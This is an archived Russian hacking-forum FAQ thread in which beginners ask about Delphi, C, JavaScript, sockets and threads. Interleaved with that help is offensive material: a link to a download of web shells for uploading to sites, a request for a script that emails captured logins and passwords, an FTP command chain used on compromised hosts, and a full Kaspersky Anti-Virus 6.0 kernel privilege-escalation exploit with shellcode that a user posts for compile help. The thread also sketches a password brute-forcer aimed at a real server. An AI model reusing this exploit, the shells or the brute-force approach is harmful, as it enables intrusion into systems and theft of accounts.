Просмотр полной версии : Вопросы для новичков! (faq)
PEPSICOLA
26.12.2004, 15:40
Кто то только начал или решил учиться? Задавайте свои вопросы здесь, постараюсь ответить.
я первый,кхм
как использовать эксплоиты,качаю их в txt виде а дальше что с ними делать?
З.Ы.пасиб за тему
Смотря на чем написан exploit - скорее всего на С
Тогда компилишь его и запускаешь
Скорее всего появиться сообщение типа
использовать host:port
Согласно этому вводишь данные того компа куда тарвишь експлоит и все
всегда бы так...
еще вопрос
telnet как я понял -прога для чего-то удаленного на компе(управления что ли),так вот,есть ли способы взлома пасса на telnet?если есть то какие?
ишо вопрос))
как узнать версию форума,внизу написано powered by phpbb и все.
пишите.
ну и еще)
если форум пхп 2.0.8 то какие там уязвимости?
если можно то поподробнее
echo open xxx.xxx.xxx.xxx>go&&echo a>>go&&echo a>>go
вот эту команду пишу,всё ок,далее запускаю Pablo's FTP(прога такая) -делая всё как на видео,но болты!
после команды ftp -s:go
что тут не так?
может go эт файл какой-то?
пишите.
PEPSICOLA
29.12.2004, 04:58
А причем тут delphi, C++, java и программирование вообщем?
тьфу блин,я думал вопросы любые можно задавать
блин,ну ладно...
я тоже.. читаю.. думаю.. чё за нафиг =)
чисто ламерский вопрос...
Делфи... Си... Ассамблер... что лучше изучить в идеале? (знаю более менее все эти три вещи... ну тока в общих чертах:( )
вот я знаю хорошо явускрипт... это как говорят Си минус... значит лучше мне хорошенько замутить Си+ ? ну он проще пойдёт чем делфя...
хотя про ассмблер тоже надо многое знать...
что чаще применяется и для чего?
люди у меня вопрос?
Можете предложить скрипт который бы брал вводимые поля login и password и к примеру отсылал на e-mail....
привет хочу узнать название проги которая может "видеть насквозь" "Знакомства@mail.ru", например отслеживать вошедших. Судя по всему она довольно широко распространенна.
В этом можно убедиться зайдя на сайт, зарегистрироваться девушкой и буквально за несколько мин вас отловят(затикает щетчик кол-ва просмотров) если не лазил на этом сайти, то на счетчик если щелкнуть весь расклад выдадут кто "шпионил". Я когда так замутил там сразу немци(наши за бугром), турок и москвич появились. Из общения с "немцем" я узнал(он сампризнался, бумял то, что на него герла запала хи-хи), что такая прога реально сществует, но давать отказался.
Не знаю кого и спросить по этому поводу, на удачу к тебе залез. Ты мож и не знаеш, но мож че полезное подскажеш?
Вопрос по теме( прошу пордона, что выше не в тму было):
Я в тех языках, которые в заголовки темы стоят не в зуб ногой. Если начать осваивать, то какой посоветуеш(я сообразительный вообще)?
Кто то только начал или решил учиться? Задавайте свои вопросы здесь, постараюсь ответить.
Я тут недавно поставил ДЕЛЬФЮ 7... разбираюсь с ней пока :)
но вот в чем проблема У меня стоит WIN 2000 ВСЕБЫ ХОРОШО, НО Я У МЕНЯ ПОЯВИЛИСЬ НЕКОТОРЫЕ ПРОБЛЕМЫ...
НАЧАЛ ГЛЮЧИТЬ ДИСПЕЧЕР ЗАДАЧЬ :(
Кликаешь на него, а он либо загружается но чаще всего выводит ошибку, мол инструкция по адресу 0x008f335 ссылается на адрес 0x003222, который нельзя прочитать...
ЧТО ЗА ГАДОСТЬ ТАКАЯ???
НО ВОПРОС НЕ В ЭТОМ ...
ВСПЛЫВАЕТ ЭТА ОШИБКА И ТАМ МОНА НАЖАТЬ НЕ ТОЛЬКО "ОК" но и "отмена" ("отмены" небыло до установки ДЕЛФИ)
нажимаю я "OK" и он игнорирует эту ошиьку нижимаю "ОТМЕНА" он запускае ДЕЛФЮ и предлогает отредактировать адреса, причем разумеется указывает неправильные фдреса (0x008f335)...
ЛЮДИ УМНЫЕ!!!! ПОДСКАЖИТЕ ЧТО К ЧЕМУ!!! :confused: И ЕСЛИ ЗНАЕТЕ КАК МОЖНО В РУЧНУЮ ЭТУ ОШИБКУ ИСПРАВИТЬ, ТО ПОДСКАЖИТЕ ПЛИЗ!!!
заранее благодарен Demerus
haker-4ever
07.01.2005, 02:38
a TURBO PASKAL to samoje sto i Delphi?????
a TURBO PASKAL to samoje sto i Delphi?????
Delphi это продолжение развития TP. В начале придумали ТР, а потом он развился в два языка, одним стали пользоваться буржуйские военные, а второй стал Delphi. Короче Delphi это объектно ориентированный PASCAl
PLatinum
06.02.2005, 12:51
Буду очень благодаен. Подскажите поалуйста а где взять shell для заливки на сайт? Спасибо заранее.._))
НАЧАЛ ГЛЮЧИТЬ ДИСПЕЧЕР ЗАДАЧЬ
Кликаешь на него, а он либо загружается но чаще всего выводит ошибку, мол инструкция по адресу 0x008f335 ссылается на адрес 0x003222, который нельзя прочитать...
ЧТО ЗА ГАДОСТЬ ТАКАЯ???
Вирус
Буду очень благодаен. Подскажите поалуйста а где взять shell для заливки на сайт? Спасибо заранее.._))
> Бери < (http://www.web-hack.ru/download/script/shells.rar)
PLatinum
07.02.2005, 23:50
Вот спасибо так спасибо))) БОЛЬШОЕ!!!!)
PEPSICOLA
08.02.2005, 03:27
PLatinum, что бы ящик пива ему принёс.
Надо заметить что у паскаля и делфи общий только синтаксис... И языки это разные вообщемто. И совершенно разные компиляторы... И вообще C 4rever
Надо Си купить...а с Линухом он сразу идет?
В никсах есть gcc - компилятор. Именно им обычно компилят сплойты. Удаленно.
Простейший вариатн
// file prog.c
int main(void)
{
printf("KEZZZZZZZZZZZZZ");
}
теперь gcc prog.c -o prog
Есть и другие. Но если надо для винды-бери VC++ 6.0SE
Да тут ваще не потеме говорят флейм разводят!!!
НУ ладно и я внесу свой вклад в историю общества =)
Чо бы спросить ?
Подскажите! какую информацию можно собрать при помоши Java?
Kak na delphi 2005 realisovat obmen faylami tipa klient-server s pomohy standartnix komponentov?
TClientSocket, TServerSocket
тьфу пойду помою клаву
Ваще-то помоему в Delphi2005 стандартные сокеты не
установленны(раз в Delphi7 их нет) но это не значит что их вобще нет, они просто не установленны
кароч вот как установить в Delphi7(в 2005 должно быть что-то похожее):
Component->Install packages->Add
далее:
X:\Program Files\Borland\Delphi7\Bin\dclsockets70.bpl
Как юзать сокеты:
http://www.yandex.ru/yandsearch?text=Delphi+%EF%EE%F1%FB%EB%EA%E0+%F4%E 0%E9%EB%EE%E2+%F7%E5%F0%E5%E7+%F1%EE%EA%E5%F2&stype=www
Сокеты - это WindowsAPI. Как они могут быть неустановлены?
Delphi посылка файлов через сокет
Вот это некорректно. Сокеты - WinAPI. Причем и в unix (да и везде) они почти одинаковые.
или ты про TClientSocket, TServerSocket ? без них просто (и лутше) обойтись
Да именно про эти два компонента:
TClientSocket, TServerSocket, а так сокет он и в Африке сокет :)
IP+Port+Protocol(TCP или UDP)
IP+Port+Protocol
Непонял смысл это фразы.
Совет делай на Api.
Не когда не прикасайтся к Gui
Непонял смысл это фразы.
Сокет - это логическое обозначение тройки которую Я перечислил.
Сокет - это логическое обозначение тройки которую Я перечислил.
vs
IP+Port+Protocol
Абсолютно нелогично:)
В я.ру, если поискать, то скажут, что сокет это комбинация ip+port, т.е. почти по-твоему (и неправильно), ибо бывают ведь беcпортовые протоколы высокого уровня (например icmp, хотя там есть понятие порт, которое равно нулю).
Есть еще такая вещь как raw-сокеты, но это вообще отделный разговор - там работа идет с пакетами "доайпишного" уровня, и такие методы как connect() там естесно неприминимы (смори пример работы с raw сокетами в этом разделе, тема "Сниффер").
Совет делай на Api.
Не когда не прикасайтся к Gui
ХАХА А как же по твоему создается окошко? API CreateWindowA/ExA/W/ExW. А диалол? DialogBox.../... А месаг бокс? MessageBoxA/....
И что значит "делай все на апи" - "без GUI" )) хихи
ХАХА А как же по твоему создается окошко? API CreateWindowA/ExA/W/ExW. А диалол? DialogBox.../... А месаг бокс? MessageBoxA/....
И что значит "делай все на апи" - "без GUI" )) хихи
А что по твоему API? GUI это программа использующая оконые процедуры!!! Это я думаю
Серверу не нужно!
Вобщето такие вещи я на ассемблере делаю.
Вопрос по JavaScript:
В textarea есть 2 похожих (не очень-то хотя) параметра: disabled и readonly.
При определенных действиях я хочу, чтобы это параметры убирались.
Если стоит disabled (<textarea name="..." disabled>) - то проблем нет:
document.formname.name_of_textarea.disabled=false - отключает
А вот отключить readonly (<textarea name="..." readonly>) у меня не получается:
document.formname.name_of_textarea.readonly=false - не работает. Оно так и остается с параметром readonly.
Кто-нибудь может подсказать пример скрипта, как отключить readonly?
А что по твоему API? GUI это программа использующая оконые процедуры!!! Это я думаю
Серверу не нужно!
GUI - это не программа. И не использующая оконные процедуры. Причем же тут сервер?
API - интерфейс, через который программа использует ресурсы ОС.
Вобщето такие вещи я на ассемблере делаю.
Покажи мне что ты сделал на ассемблере. Если бы ты на нем чтото делал, знал бы что GUI - это не просто когда программа рисует окошки...
(fasm)
format PE GUI 4.0
очень отличается от console.
Огромное кол-во ф-ий WinAPI и предназначено для работы с GUI.
Ты написал что надо использовать Api, и не трогать GUI. Ты ещё считаешь что это корректно? Весь ГУИ и построен на апи к слову.
Ух. Какой ты умный!!!
Выписано из книги.
GUI - Graphic Universal Interfaces.
Все программы, которые предназначены для выполнений в многозадачных платформах, таких как WINDOWS, а также которые используют универсал-
ьный интерфейс их называют GUI программы.
А нащет API просто он на DELPHI делает а DELPHI очень много занимает
О,старый,нудно-галимый вопрос =) ну всё же мало ли...
"Есть 1 комп, на котором установлен клиент, есть ещё 2 удалённых компа.
первый из которых имеет стат. ip(Static and dynamic address - Whois )+ Старман(провайдер такой) ;
У второго (dynamic address- Whois ) и СТВ(ещё один провайдер но другой ).
Если клиент соединяется с первым , то всё работает, если пытается соединиться со вторым, то пишем тайм аут.
Но это не самое страшное, страшное, что до второго компа с динамическим айпи и СТВ провайдером даже пинг и трэйсерт не доходит...request time out
***При запущенном сервере на удалённых машинах сканер портов пишет, что на первой машине всё ок, нужный порт открыт, а на второй машине косяк..значит нада как-то по-другому обращаться к компам с динамическим айпи...А ну разумеется на локалхосте всё работает как нужно..."
+Экстра - чё я тока не пробовал..самый последний вариант был скачать с соурсес.ру исходник такой проги, но даже он не работал...
+На мастерах дельфи сказали,что это возможно НАТ у провайдера не даёт подконнектится...может всё же что-то другое и как с ним бороться?
1:
почитай на сайте прова ств про то как у них доступ в инет организован
если как ты сказал ип динамический, то 90% что он и есть реальный
ты говоришь что узнал тип адреса (статический/динамический) по хуизу - лучше проверь это дело на самом серваке, может быть, что адрес выдается клиентам не внешний (т.е. через нат), но динамический (если я не ошибаюсь, то ств это через спутник) - это вполне возможно, т.к. нат может быть подключен к канальному прову, который не удосуживается выдавать статические адреса
2:
хотя лучше проверить настройки фаера у себя и на серваке
3:
если ип динамический и его получает каждый клиент, то вероятно что ип уже сменился и он не был выдан другому клиенту
Помогите кто может.
Есть ли в delphi аналог ПХП функции md5 ?
Если есть то как ею пользаваться?
компонент, причем стандартный
компонент IdCoderMD5 как им пользоваться, чтобы например зашифровать строку. Я никак не догоню.
http://www.yandex.ru/yandsearch?rpt=rad&text=md5encode+delphi
А можно ли найти видео уроки по Microsoft Visual C++ 6.0
А можно ли найти видео уроки по Microsoft Visual C++ 6.0
Нет, даже я до такого ещё не додумался...
Блин,может вам еще такие уроки нужны "урок как установить программу"
с апачем урок был перебором.
Нет по установке уроков не надо а вот по написанию простейшей программы, начиная от создания заканчивая её выполнением былобы интерестно посмотреть.
*** Нет слов ***
зы
Может ещё надо снять видео как компьютор включать ? А потом будет часть Ii "выключение компьютера" , по роману Стивена Кинга =)))
*** Нет слов ***
зы
Может ещё надо снять видео как компьютор включать ? А потом будет часть Ii "выключение компьютера" , по роману Стивена Кинга =)))
ЛОЛ ! СПАМ !
Ты думаешь это смешно? Я в этом не чего смешного не вижу! Если вы все такие способные неужели сложно снять видео?
Извини, лень читать предыдуший страницы. Какое тебе там надо видео то снять?
А че лень посмотреть на верх ? )))
Нет по установке уроков не надо а вот по написанию простейшей программы, начиная от создания заканчивая её выполнением былобы интерестно посмотреть.
компонент IdCoderMD5 как им пользоваться, чтобы например зашифровать строку. Я никак не догоню.
http://www.cobans.net/hashlib.php
Вопрос по Java-script. Т.к. я в нем нихрена не шпарю хотел спросить - кк по срадством Явы сделать такую фигню - при нажатии на N-ную кнопку в опеределенном поле формы должен появляться некий текст. Кто ничерта не понял из того что я сказал объясняю проще - нужна система вроде той что добавляет смайлики в фрум когда пишешь сообщение:) То есть при нажатии на картинку смайлика в поле формы вставляется его код.
ЗЫ НО код должен вставляться именно туда, где в поле стоит курсор а не вместо всего поля! Скрип типа onClick(this.form.value)=":)" не подойдет.
ЛОЛ ! СПАМ !
Ты думаешь это смешно? Я в этом не чего смешного не вижу! Если вы все такие способные неужели сложно снять видео?
А может тебе сериал отснять ?
Вопрос по Java-script. Т.к. я в нем нихрена не шпарю хотел спросить - кк по срадством Явы сделать такую фигню - при нажатии на N-ную кнопку в опеределенном поле формы должен появляться некий текст. Кто ничерта не понял из того что я сказал объясняю проще - нужна система вроде той что добавляет смайлики в фрум когда пишешь сообщение:) То есть при нажатии на картинку смайлика в поле формы вставляется его код.
ЗЫ НО код должен вставляться именно туда, где в поле стоит курсор а не вместо всего поля! Скрип типа onClick(this.form.value)=":)" не подойдет.
Типа того:
<input name="text" value="">
<input type="button" value="ok" onclick="text.value=text.value + ':)'">
Это добавит текст в самый конец ...
2 Abra:
Тебе поможет просмотр исходного кода почти любого форума:
function emoticon(text) {
var txtarea = document.post.message;
if (txtarea.createTextRange && txtarea.caretPos) {
var caretPos = txtarea.caretPos;
caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
} else {
txtarea.value += text;
}
txtarea.focus();
}
document.post.message - post -> имя формы, message -> имя textarea
А может тебе сериал отснять ? Хех снимай я жду :).
2 Raider - примного благодарен :)
Ну что народ так не кто и не сделает видео?
вот вам видео уроки с++ http://www.reactioner.com/reaction/video.html
Nokia3310
26.08.2007, 09:35
Я недавно начил изучать Delphi.Мне нужна цель - какую программу вы посоветуете написать.
мда...
1. Hello World
2. calc
3. notepad
4. TCP Server/Client
5. BDE
6. CGI
7. BDE+CGI
как включить поддержку acpi в ядре?)
Мужики не поможете с эксплоитам вот сам эксплоит и какие ошибки выдаёт при компиляцыи что сдесь нужна исправить. Буду примного блогадарен за помоч.
// kav 6.0 0day local priv escalation exploit
// by m4d
// http://unl0ck.net
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"
unsigned char Shellcode[405] = {
0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,
0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,
0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,
0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,
0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,
0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,
0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,
0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,
0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,
0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,
0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,
0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,
0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,
0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,
0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,
0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,
0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,
0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,
0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,
0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,
0x6C, 0x24, 0x1C, 0x61, 0xC3
};
typedef struct _FIRST_PARAM {
ULONG SwitchIndex;
ULONG Unknown; // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
ULONG Value; // this value will rewrite DWORD of memory
} FIRST_PARAM, *PFIRST_PARAM;
void main(int argc, char* argv[])
{
__try
{
FIRST_PARAM Param1;
ULONG Param2; // pointer to write DATA - 8
CHAR Idtr[6];
CHAR IsKAVInstalled;
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO)&os);
if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
os.dwMajorVersion != 5 ||
os.dwMinorVersion > 1)
{
printf("This OS version unsupported\n");
return;
}
// Для начала определим, установлен ли KAV или нет
__asm {
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 0F8h // 2k
jmp short $+7
mov eax, 11Ch // xp
int 2Eh
cmp eax, 0Ch
setz al
mov IsKAVInstalled, al
}
if (!IsKAVInstalled)
{
printf("KAV6 didn't installed\n");
return;
}
Param1.SwitchIndex = 3; // Index of jmp in case of switch()
Param1.Unknown = 0xFF0002;
__asm {
pusha
sidt Idtr
mov eax, dword ptr [Idtr+2]
add eax, 0DAh * 8 - 8
mov Param2, eax
// Write lower DWORD IdtEntry
mov ecx, offset Shellcode
and ecx, 0000FFFFh
or ecx, 00080000h
mov Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]
push Param2
lea eax, Param1
push eax
mov edx, esp
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 100h // 2k
jmp short $+7
mov eax, 124h // xp
int 2Eh
add esp, 2*4
// Write high DWORD IdtEntry
add Param2, 4
mov ecx, offset Shellcode
and ecx, 0FFFF0000h
or ecx, 0000EE00h
mov Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]
push Param2
lea eax, Param1
push eax
mov edx, esp
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 100h // 2k
jmp short $+7
mov eax, 124h // xp
int 2Eh
add esp, 2*4
// Call Gate :-) (COLGATE)
push fs
int 0DAh
pop fs
popa
}
printf("Exploited successful\n");
}
__except(1) {
printf("Can't create interrupt gate\n");
}
}
// 15.01.07 MaD
// milw0rm.com [2007-01-15]
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++
ВОТ ОШИБКИ :
[C++ Error] 3131.c(78): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(78): E2510 Operand size mismatch
[C++ Error] 3131.c(79): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(79): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(81): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(81): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(113): E2017 Ambiguous member name 'Value'
[C++ Error] 3131.c(113): E2510 Operand size mismatch
[C++ Error] 3131.c(120): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(120): E2510 Operand size mismatch
[C++ Error] 3131.c(121): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(121): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(123): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(123): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(135): E2017 Ambiguous member name 'Value'
[C++ Error] 3131.c(135): E2510 Operand size mismatch
[C++ Error] 3131.c(142): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(142): E2510 Operand size mismatch
[C++ Error] 3131.c(143): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(143): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(145): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(145): E2329 Invalid combination of opcode and operands
Знаю языки turbo pascal (еще в школе) html(создавать сайт приходилось) и еще изучал vb.net но потом чет он надоел....
немного смотрел php perl но они сразу не даются...
так вот вопрос: что сейчас стоит изучить???
причем задач определенных нету...
Просто невозможно жить не изучая ( :D )
ну короче вот думаю.... не знай изучить до конца php чтоб в сайтах разбираться... а с другой вроде и проги для винды неплохо бы знать....
З
немного смотрел php perl но они сразу не даются...
а ничего сразу не дается))
займись практикой php или начни c++/delphi. или, если совсем ничего не нравится, попробуй асм)
lastsmile
26.09.2007, 02:00
у меня вопрос по дельфи:
где можно найти литературу по автозаполнению форм на веб странице. перечитал много статей, читал на форумах... основной базе научился, но встречается много нюансов, поэтому хотелось бы найти специальзированную литературу.
lastsmile Я думаю нужно читать сразу специализированную литературу. Если не найти в сети, то в книжном магазине, т.к. это будет полная инфа.
Как включить сокеты на локальном серве?
Как включить сокеты на локальном серве?насколько я понял формулировку вопроса
в среде вин для этого существует прикладной интерфейс Windows Sockets , во как , собственно ws2_32.dll
http://www.codenet.ru/progr/visualc/socket.php
http://www.microsoft.com/Rus/Msdn/Magazine/2005/08/Winsock.mspx
в никсе юзай :
#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
(где Socket создает конечную точку соединения и возвращает ее описатель.)ну и , существует куча альтернативных компонентов и интерфейсов (например Indy в делфи)...
MSDN + RTFM = )
De-visible
09.07.2008, 18:07
Php не здесь
Может кто то будет настолько добр что набросает примерчик(С++).Как родить четко определенное число потоков А и как потом уменьшить его на число B
_nic
#define THREADS_NUMBER_A 10
#define THREADS_NUMBER_B 4
DWORD dwThreadsId[THREADS_NUMBER_A];
HANDLE hThread;
// Создаем потоки в количестве THREADS_NUMBER_A
for(int i=0; i<THREADS_NUMBER_A; i++) {
CreateThread(0, 0, (PTHREAD_START_ROUTINE)TestThread, 0, 0, &dwThreadsId[i]);
}
// Убиваем THREADS_NUMBER_B потоков
for(int i=THREADS_NUMBER_A-1; i>=THREADS_NUMBER_A-THREADS_NUMBER_B; i--) {
hThread = OpenThread(THREAD_TERMINATE, 0, dwThreadsId[i]);
TerminateThread(hThread, 0);
}
Ещё один не большой вопрос :) Как привязать выполнение определенного потока(или группы потоков) к определенному физическому ядру проца?
SetThreadIdealProcessor(HANDLE hThread, DWORD dwIdealProcessor);
dwIdealProcessor - № выбранного процессора
PEPSICOLA
14.07.2008, 19:13
Вообщем... нужно что бы профессионалы своего дела сделали плагины для icq/qip и т.д. - который будет называться PEPSIQ (пе-пси-кью).
Он автоматически должен в конец отсылаемого сообщения вставлять несколько штук закрывающих скобок, к примеру, я пишу соощение "Привет". А этот плагин должен отправить адресату в таком виде:
"Привет))))))"
По изготовлению данного плагина, просьба писать мне в PM!
Подскажите самый простой способ кодирования\декодирования бинарных файлов в MIME(компонент для борландбилдер,wininet ф-ция,или чтото в этом роде)
_____________________________________________
Нашел вроде сам(хоть и не совсем в MIME),один интересный исходник http://www.codenet.ru/progr/cpp/uu_base64encode.zip Но там 1 проблема с ф-цей strchr по 126й и 138й строках :mad: "Cannot convert const char * tochar*" Оно в принципе то и ясно что ф-ция вовращает немного не тот тип чем обьявленная переменная к которой приводится приравневание.Новот хелп борланда вводит меня в тупик :(
Prototype
char *strchr(const char *s, int c); /* C only */
const char *strchr(const char *s, int c); // C++ only
char *strchr( char *s, int c); // C++ only
wchar_t *wcschr(const wchar_t *s, int c);
unsigned char * _mbschr(const unsigned char *s, unsigned int c);
Подскажите кому не трудно как с этой ф-цией поступить
DeepXhadow
20.07.2008, 20:12
хочу написать брутфорсер к одной проге.Поснифал пакеты передаваемые с клента этой проги на сервер...Получилось вот что:
64 00 F0 B5 01 00 [xx xx xx xx xx xx xx] => login 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 [xx xx
xx xx xx ] => pass 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 19
Далее в зависимости от того,принял ли сервер авторизацию или нет генерируются
2 типа пакетов(условно да\нет).Так вот мысль моя была в том,чтобы мой брут брал списки логинов\паролей,переводил их в Hex и отправлял эти пакеты серверу...
Мои вопросы терь...
На каком языке это лучше реализовать? Я достаточно хорошо знаю лишь Perl и php, Паскаль ниже среднего...
Сейчас пытался реализовать все это в VB через соксы...но похоже ВБ не умеет(или скорей всего я не знаю как это сделать :)) отсылать пакеты так как они есть(в hex)...на сниффере вижно что прога отвравляет не то что мне нужно,а какую-то полную чушь...
Вот кусок кода..ногами сильно не бейте только
Private Sub Form_Load()
tcpClient.RemoteHost = "81.х.х.х"
tcpClient.RemotePort = 6900
End Sub
Private Sub Command1_Click()
tcpClient.Connect
tcpClient.SendData "64 00 F0 B5 01 00 66 72 61 70 73 39 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 72 61 70 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19"
Label1.Caption = tcpClient.GetData
End Sub
Заранее спасибо!
Delimiter
20.07.2008, 20:27
HEX... это отображение чисел в виде строки, то есть если вы думаете что строка "64" и 0x64 одно и то же вы ошибаетесь! Код символа '6' = 0x36 ... далее '4'= 0x34 почуствуйте разницу!
В вашем варианте вы отсылаете строку символов , которую CPU никада в жизни автоматически не преобразует в реальные числа!
0verbreaK
20.07.2008, 21:16
DeepXhadow на Perl можно организовать!
Кто знает статьи о маппинге файлов(ф-ции CreateFileMapping,MapViewOfFile и т.д.)?Тоесть где можно прочитать что при этом происходит с файлом и для чего это все нужно.
2_nic
у Д. Рихтера в книге "Создание эффективных WIN32-приложений", есть в сети.
2_nic
у Д. Рихтера в книге "Создание эффективных WIN32-приложений", есть в сети.
А можно ссылку а то гугл находит только "Создание эффективных WIN32-приложений с учетом специфики 64-разрядной версии Windows" Или это оно и есть :confused: ???
Оно в принципе то и ясно что ф-ция вовращает немного не тот тип чем обьявленная переменная к которой приводится приравневание.Новот хелп борланда вводит меня в тупик :( ..... Подскажите кому не трудно как с этой ф-цией поступить
Тут просто. Если фкц возвращает "немного не тот тип" то можно использовать принудительное преобразование типов. Напимер нужно из UINT перейти к int, то пишем так:
UINT MyFun (char* s); //какая то фкц возвращает UINT
.......
int x;
x = (int)MyFun (char* s); //здесь приведение типа к int
HaRaKiRi_OnE
15.06.2009, 13:56
у меня вопрос!
в паскале есть встроенный ассемблер. пишешь asm и строчишь скока те надо.
но!!! все ли возможности, команды и функции присутствуют во встроенном???
KaZ@NoVa
15.06.2009, 14:08
у меня вопрос!
в паскале есть встроенный ассемблер. пишешь asm и строчишь скока те надо.
но!!! все ли возможности, команды и функции присутствуют во встроенном???
ВСЕ
Forsage_1986
14.05.2010, 16:16
Анимо модель математического маятника можно сделать на турбо паскале. Если да то можети помочь.
есть некоторые ограничения. Синтаксис менее гибкий в некоторых командах. И нету 32 битных команд для стандартного турбо паскаля.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot